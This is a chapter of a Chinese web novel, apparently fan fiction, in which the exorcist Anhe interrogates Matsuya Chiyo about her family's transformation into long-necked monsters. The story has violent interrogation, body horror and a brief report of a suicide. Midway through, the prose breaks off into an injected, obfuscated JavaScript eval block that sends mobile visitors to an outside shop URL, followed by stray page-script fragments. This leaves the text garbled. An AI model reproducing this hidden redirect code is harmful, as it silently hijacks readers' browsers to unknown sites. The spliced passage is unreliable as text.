有句话说得好啊,有卧龙的地方,必有凤雏!
松屋左太郎是个卧龙,他夫人松屋千代自然是个凤雏。
松屋千代抓着她,硬要和她说掏心窝子的话。
真·掏心窝子话
只能说还好松屋千代生病了,劲不大,更没刺中她的要害。
不然就会喜提翻车,先帝创业未半而中道崩殂。
安禾:你猜我为什么不笑。
她反手用剑柄往松屋千代脑袋上一敲,抓住机会,快步退离松屋千代。
感受着背后伤口在慢慢愈合,她眼神一沉,一言不发。
拿走狛治手上多余的麻绳,绑柱子上的长脖怪多了个邻居。
狛治静静望着安禾,她沉默拾起方才刺伤自己的短刀,抬手划开松屋千代颈间纱布,一截脖颈全然露了出来。
只见颈间皮肉层层堆叠凸起,仿佛颈骨凭空消融!多余软肉挤成一团,模样令人作呕。
“她被同化了。”
安禾拿刀柄拨了拨她堆叠的颈肉,底下身躯皮肉,竟隐隐有向上收拢、往脖颈处融缩的迹象。
狛治看着这诡异一幕,有些不寒而栗,极力克制住呕吐的欲望。
“这……这到底是怎么回事?这个世界上怎么会有这种怪物?!”
“如果我猜的没错,这一整座院子,包括松屋左太郎,都在向这种怪物变化。”
安禾目光一凛,脑海中迅速闪过诸多细节。
“甚至在更早的时候,起码在我第二次见到他们的时候,他们就开始有意识地遮住脖子了。”
“这座宅子的主人都这样了,怎么可能放过这座宅子里的其他人。”
深知松屋一家人德行的安禾,不禁冷笑。
狛治不确定地问她:“那我们现在应该怎么办?去报告幕府吗?”
“不用,出发前我已经安排好了。接下来我们要做的便是调查清楚到底是怎么回事。”
她看了看狛治颤抖的手,打发他出去守门。
“不用担心我,这两个怪物我有用。”
狛治再三确认两个柱子上的麻绳,确认绑得足够严实后,才走出房间,并照吩咐关上了房门。
感受到房中光线变弱,松屋千代眼皮颤了颤,隐约有了苏醒的趋势。
松屋千代醒来后,就感受到脖间一抹冰冷,她浑身僵硬,冷汗直冒。
“说说吧。”
安禾用刀面拍了拍她松垮的脖子。
“我不懂你……”
见她还在装傻,安禾不耐烦地打断她。
“你好好看看你的脖子,想清楚再说话。”
松屋千代这才注意到她脖子上的纱布已经被拆开了。
恐惧瞬间击穿了她的心理防线,最丑陋的怪物模样彻底暴露于人前。她瞬间崩溃失控,扯开嗓子歇斯底里地尖叫起来。
“你杀了我吧!你杀了我啊!我活着还有什么用!”
她满心不耐,将衣上血迹蹭满刀刃,抬手持刀血抹向松屋千代脖颈。
皮肉遇血灼出破洞,松屋千代痛得失声惨叫。
“你给我抹了什么!”
松屋千代眼神怨毒地盯着她,恨不得从她的身上撕下两块肉来。
“不是要死要活的吗?怎么还怕起痛来了?”
“我劝你好好交代,别敬酒不吃吃罚酒!”
说完作势还要把血往她脖子上抹。
松屋千代心底生出源自本能的惧意,下意识尽数坦白。
“我……我不知道!自从我找到我女儿芦花后,我就开始这样了。”
“你女儿?这个长脖怪吗?她都这样了,你还说不知道?”
安禾和小比站在绑着长脖怪的柱子前,打量长脖怪是什么情况。
长脖怪的脸无疑是松屋夫妇的结合体,头下一小节脖子有着和松屋千代脖子一样堆叠的痕迹。
安禾:年轻就是好啊,哪里都是成长空间。
明显长脖怪就是由人的躯体变化而成的,最初身高不一致的说法也有了解释——脖子都成弹簧了,身高那不是随便变化吗?
但是,幕府找到的那具无头**又是怎么回事?
她是这么想的,也是这么问松屋千代的。
松屋千代眼中闪过一丝恐惧,那具无头**确实是她的女儿,但……但她不能说!说了的话,她全家都完了。
安禾看着她的脸色变来变去,就是不肯说话,叹了口气。
“有时候,沉默也是一种回答啊,千代夫人。”
松屋千代的脸色刷的一下变白了,她知道,她完了。
她垂下松垮垮的脖子,颤抖地说出她知道的部分。
“我只知道,对他们来说,我女儿的头很重要,身体……只是头的养料。”
“哪怕……不是原装的身体?”
“哪怕不是原装的身体。”
“香包呢?松屋左太郎给你的那个香包。”
安禾不想放过一丝一毫的疑点,哪怕这个祈福香包可能只是个引诱她的筏子。
松屋千代皱眉沉思,思绪刷的一下打开。
香包!就是自从松屋左太郎丢给她的那个香包后,她女儿开始不受控制地变成长脖怪的!她的脖子也是那时候开始恶化的!
她心底死死憋着一股悔恨。
女儿归来后,她日日都在憧憬往后的日子——哪怕女儿模样、性情添了几分怪异,可护着她的心意从未变过,依旧是那个爱她的好孩子。
她早已暗自打定主意,要摆脱松屋左太郎,往后母女二人靠着松屋家的积蓄安稳度日。
可所有安稳的期许,全都被一枚香包彻底摧毁。
都是那个香包害了她们!
但其实,香包不过是催化剂罢了,被人盯上的松屋一家,就像被埋在地下的地雷,迟早都会爆炸。
她们早已不可能过上安生日子。
安禾眉头一紧,不应该啊,那个香包只有她经手……!
不对!那时候她身上还带着食梦貘!
香包被食梦貘动过手脚!
食梦貘和长脖怪的关联在哪?它为什么要这么做?
她垂着眼反复复盘前因后果,眉心始终紧绷着,细碎的线索在脑海里反复拉扯、串联。
就在思绪凝滞的刹那,脑中突然灵光一闪!被忽略的关键细节破土而出!
在极乐教还没倒闭时的卦象!
“双官鬼叠动;妻财五爻全体空亡;二爻父母青龙临庙堂;自生之煞,必反噬本源。”
她一直以为这个“双官鬼”指的是童磨父母,如今看来,同样还暗指食梦貘和长脖怪!
在发现那些失踪女子的密室里,架上陈列的一颗颗女子头颅,赫然是用来培育长脖怪的!
这也彻底解开了她的疑惑——食梦貘的能力根本用不上这些头颅,密室里却会留存大量头颅的原因,终于有了答案。
食梦貘和长脖怪都是人为制作的变异咒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746928|209317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
灵。
而它们的培育早已暗中进行了数年,甚至可能是几十年!
这几十年里,为了食梦貘和长脖怪的诞生,早已有无数生命湮灭在了无人的角落。
她沉痛地闭上了双眼。
始作俑者究竟把一条条人名当成了什么!怪物的养料吗!
简直不堪为人!
她收服长脖怪的心思也褪去了,这种被人命堆砌成的怪物完全没有存在的必要!
她微微转身,几句话直接打破了松屋千代的心存侥幸。
“你一直被关在屋子里,估计不知道,松屋家所有人都有了向长脖怪变化的趋势。”
先前地上残留的笼印此刻有了着落——是用来关押松屋千代和她的长脖怪女儿的。
松屋千代目眦欲裂,此生的凭借全部消失,而她又带着一副怪物的身体,她这辈子……真的彻底完了。
事情到底是怎么发展到这一步的呢?她满目颓然。
年少的时候,不顾父母阻拦,嫁给了松屋左太郎。
满心满眼的爱人,却是一个虚伪至极的商人。
为了她家的势力,将她哄骗到手后,发现她被家族放弃,又把她狠狠丢开。
人前一副恩爱夫妻的样子,人后却是他泄愤的沙包。
芦花——是她这辈子剩下的唯一的期望了……
结果,却……
她到底,是怎么到这一步的呢?
她好冷……她想回家了……
不……她的家不在了……
安禾当着一位母亲的面,不好对长脖怪下手,偷偷将黄符贴到长脖怪背后,她背在身后的手比划了几下,黄符瞬间消失不见。
她等着之后幕府来人了,把锅甩在幕府头上,遥控除掉长脖怪。
至于松屋千代……哎,好歹她目前还是活生生的人,还没彻底变成怪物,交给幕府吧。
她起身打开房门,屋外的光线又一次透了进来。
在她呆在房间里的这段时间,屋外的狛治已经把松屋左太郎抓住,并绑起来了,这个中登是偷偷溜回来打探情况的。
这个可恶的中登在她进屋的时候,就找借口溜了。
她想看看他会使什么幺蛾子,就放任他离开了。
结果幺蛾子在松屋千代这里,白瞎她的期待了。
在来松屋宅邸的一路上,她也大概观察了下,整个府上的仆从人数少了很多,有明显变长脖怪样子的寥寥几人。
看来前期没有食梦貘的催化,速度就不会太快,说不定还有救。
眼下松屋夫妇都被绑起来了,就是不知道幕后黑手会不会出现。
她看了看时间,等着幕府的人过来,把后续交给他们处理。
这次幕府派来的几个人穿得怪模怪样的,颇有后现代非主流的风格,她偷摸地观察了下,猜测这几个人应该是咒术师。
这几个咒术师一见到长脖怪,就当着松屋千代的面把它除掉了。
看着长脖怪消失的松屋千代如遭雷击,连哭都发不出完整声响,直接晕了过去。
除掉长脖怪的几个人还用看废物的眼神白了她一眼。
安和:得,白贴符了。这几人也不是好相与的人。
她也没有和这几人多说,交代完事情便带着小比和狛治回福生观了。
几日过后,她才听见消息。
回了本家的松屋千代,专挑了个万里无云、日光透亮的好天气,寻了根绳子悬梁自尽了。